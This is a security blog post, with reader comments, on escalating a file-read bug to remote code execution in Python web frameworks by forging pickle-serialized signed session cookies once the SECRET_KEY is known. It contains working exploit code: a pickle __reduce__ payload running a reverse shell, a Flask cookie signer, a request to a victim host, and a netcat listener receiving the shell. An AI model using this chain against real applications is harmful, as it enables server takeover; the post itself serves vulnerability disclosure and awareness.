Python Web Framework Session Management: from LFR to RCE

Django, Bottle, Flask, .. you name it, are python web frameworks that require a SECRET_KEY in their configurable settings. The documents often recommend people to random their own values to use but I hardly find any text describing enough the dangerous when the secret key is guessed or leaked or hacked (local attack or local file read vulnerability in web application). Attacker can use the SECRET_KEY to fake some cookies, csrf token and then find a way to the admin tools .. but that's a lot of work!! "Simply", he can just use it to execute malicious code :) and I will talk about that in this blog post.

Remember the old day you found a bug in PHP that can read a arbitrary file in the webserver (not local file inclusion),... it could be frustrated for you to escalate it to a remote code execution (RCE)! You probably audit most of the application source to find other bugs or useful info such as user password or database information. In this aspect, can we say PHP is more secured ?

When attacking a python web framework, the attacker, knowing your SECRET_KEY from the source code can easily escalate the LFR attack to the RCE, this is at least true in the set of web frameworks that I had examined. The common problem is that they use pickle for serializing and unserializing the signed cookie.

Flask / Werkzeug ( by default, flash use werkzeug session API that's why we have it here. ): Flask implicitly calls session unserialization if the config['SECRET_KEY'] is set to some value and the session_cookie_name (default='session') exists in the cookie, even if there is no session handling code in the web app (how nice, attacker can create a backdoor by adding SECRET_KEY to the config file, and the naive user will just think of it as 'important').

The unserialize function from werkzeug library is called as follows:

     def unserialize(cls, string, secret_key):
        if isinstance(string, unicode):
            string = string.encode('utf-8', 'replace')
        try:
            base64_hash, data = string.split('?', 1)
        except (ValueError, IndexError):
            items = ()
        else:
            items = {}
            mac = hmac(secret_key, None, cls.hash_method)
            # -- snip ---
            try:
                client_hash = base64_hash.decode('base64')
            except Exception:
                items = client_hash = None
            if items is not None and safe_str_cmp(client_hash, mac.digest()):
                try:
                    for key, value in items.iteritems():
                        items[key] = cls.unquote(value)
                except UnquoteError:
                    # -- snip --
            else:
                items = ()
        return cls(items, secret_key, False)

The unserializer check the signature, then perform unquote() on cookie value if the signature is correct. unquote() looks very innocent but in fact it is pickle by default.

    #: the module used for serialization.  Unless overriden by subclasses
    #: the standard pickle module is used.
    serialization_method = pickle
    def unquote(cls, value):
        # -- snip --
            if cls.quote_base64:
                value = value.decode('base64')
            if cls.serialization_method is not None:
                value = cls.serialization_method.loads(value)
            return value
        # -- snip --

Bottle: There is no real secret key option from the default bottle, but one may want to encode his cookie by using the signed cookie feature. Let's see how the encode work:

    def get_cookie(self, key, default=None, secret=None):
        value = self.cookies.get(key)
        if secret and value:
            dec = cookie_decode(value, secret) # (key, value) tuple or None
            return dec[1] if dec and dec[0] == key else default
        return value or default

When secret is presented, and there is some value in the cookie, cookie_decode is called:

def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

Again, pickle is here !

Beaker Session: (any web service can use Beaker as Middle-ware for session, bottle is one that recommend)  Beaker.Session has many features and can be confused: ( there are 3 keys: secret_key, validate_key, encrypted_key )

  • encrypt_key: to encrypt the cookie data and either send back to client (session.type='cookie' / Cookie mode) or store in file (session.type='file' / File mode). If it does not set, the data will not be encrypted !(only base64 encoded). When encrypted_key is presented, the data will be encrypted using a combination of encrypted_key, validate_key(optional) and a random nonce using AES crypto.
  • validate_key: to sign the cookie when Cookie mode is used and to encrypt the data (as mentioned)
  • secret: to sign the cookie when File mode is used. (Why don't they just use the validate_key ? I have no idea )

Of course, when one can read file, he knows all those keys. However, File mode makes it impossible to attack because we have no control on the serialized data i.e. they are stored in local disk. In Cookie mode, it works, even if the cookie is encrypted (since we know how to encrypt lol). You may ask about the random nonce ? luckily, the nonce is part of the session data (!), hence we can fix it with any value we want.

Here is the code that they use to create the session data ( to send back or store as file):

    def _encrypt_data(self, session_data=None):
        """Serialize, encipher, and base64 the session dict"""
        session_data = session_data or self.copy()
        if self.encrypt_key:
            nonce = b64encode(os.urandom(6))[:8]
            encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                                             self.validate_key + nonce, 1)
            data = util.pickle.dumps(session_data, 2)
            return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
        else:
            data = util.pickle.dumps(session_data, 2)
            return b64encode(data)

We clearly see that the data is pickled here.

Django: The most well-known and sophisticated web framework in Python. And yes, they did a fairly nice job putting up a warning. IMO, it should be marked as 'critical' or 'caution' and in 'red'.

How does django session work ? We can easily find a comprehensive documentation:  To sum up, django gives 3 settings for sessions: db, file and signed_cookie. Again, we are only interested in signed_cookie because we can easily tamper the data. If SESSION_ENGINE is set to "django.contrib.sessions.backends.signed_cookies", we should confirm signed_cookie is used.

Interestingly, the session data will always be unserialized if we supply a "sessionid" in request cookie. Django also gives a very nice example on how the cookie is signed in their code. This makes our job even easier.

Our attack
We have not discussed about how we attack (some of you may have already known it)! But thanks for the patience ! I write about it lastly since it's the same principle for all cases and very simple (yes! given some knowledge).

Here again, we can read any file. To find the config file is not that difficult because python app tends to import from here and there. When we obtain the secret key, we can simply implement (or re-use) the cookie signing procedure of that web framework and sign our malicious code. Because they use pickle.loads() when unserializing, our malicious payload should be the result of pickle.dumps().

pickle.dumps() and loads() is often safe when playing with data such as string, integer, array, hash, dict... But not when it was used on a certain special crafted object ! In fact, one can execute any python code he wants. I write a nice piece of code to convert a working python code to pickle payload. We shall read the code from connback.py (which is a "connect back" shell) and pickle it. If one execute pickle.loads(payload) our connect back shell will be executed.

code = b64(open('connback.py').read())
class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

Now sign (for flask web app):

def send_flask(key, payload):
    data = 'id='+b64(payload)
    mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
    s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

and send it

print requests.get('http://victim/', cookies={'session':s})

In another console:

danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

What else ?
- So what ? I am safe as long as my secret key is safe ! OK, good for you... but that's like saying, "I leave my key on the roof because I know you can't climb there..."
- OK, so If I do not use this type of session cookie, I will be safe ! This is true, for small app it's much nicer to put the session data in file (in database also a risk if one can tamper it, heard about sql injection ?). But for bigger app with distributed storage, this may violate the "shared nothing architecture" or reduce the performance.
- Then how ? Maybe ask the framework not to use pickle but use a different type of serialization that doesn't allow code execution ? I don't know if one exists, but it is nice if it does. PHP is again more secure? their unserialize() and serialize() does not have this problem. (oh wait..)

Last thing:
WebPy: I check their web for session, and this is what I found:
CookieHandler - DANGEROUS, UNSECURE, EXPERIMENTAL

So good job :D, maybe everyone should do this as well. I do not try further, maybe you can try with webpy and others ;).

Here is what I did, PoC only, so make some effort if you want it to work for you ;)
As a gift, this web app is a vulnerable one, let's see if you can find the lfr bug and escalate it to rce, then you will find your real gift, the flag :).

Update: The source code for the vulnerable web app is now included in github, the secret key is not the same as what is running though.

Update: List of people who have found my "gift": moritz_schlarbexecutex ( server is off for security reason :) )
(If you want your name here, please comment with a proof that you have got it)

Leave a comment ?

12 Comments.

  1. Wow wow...
    Did not know they would do something like this (I mean pickle).
    Hopefully I'm using my own session manager for bottle.

    • Thanks for commenting. Yes, once you have a security breached such that your configuration file is leaked, it is potential that your system will be compromised sooner or later. The purpose of my post is to raise awareness that this outbreak can easily damage to the level that giving attacker a shell without much hassle.
      Furthermore, many server does not allow a remote access to the database. With a shell, likely in the privilege of the vulnerable web app, the attacker can access to both file and database, tamper it whatever way he wants, or even run some kernel rootkit to escalate to root, that's imo very serious.

  2. I believe Flask recommends you use a JSON-based engine for this reason. There's even an example in the docs. (Don't remember offhand if it's in Flask or Flask-login.)

    For such a vulnerability, they should probably switch the default and throw a warning so people realize there's a change.

  3. executex_from_reddit

    What does this mean that my secret is not here? Thanks for the fun.

    • It means the secret is not the SECRET_KEY ;], it's somewhere in the server ! Glad that you enjoy it

      • executex_from_reddit

        Any chance you can write some comments to explain the section of your code? os.dup2(sok.fileno(),0) etc.

        • well, it's not related to this vulnerability. 'connback.py' is just an example of code that you can execute on the victim server. The connback.py is a 'connect back shell' or a 'reversed shell', you may search for that keyword to know more. Basically it shall connect to a server via socket, pipe anything it receive from the socket to /bin/sh and also pipe everything that /bin/sh return ( to stdout, stderr ) back to the socket. os.dup2 is to help the 'pipe' thing.

  4. Yo, what do u think about web2py?

Leave a Comment


NOTE - You can use these HTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>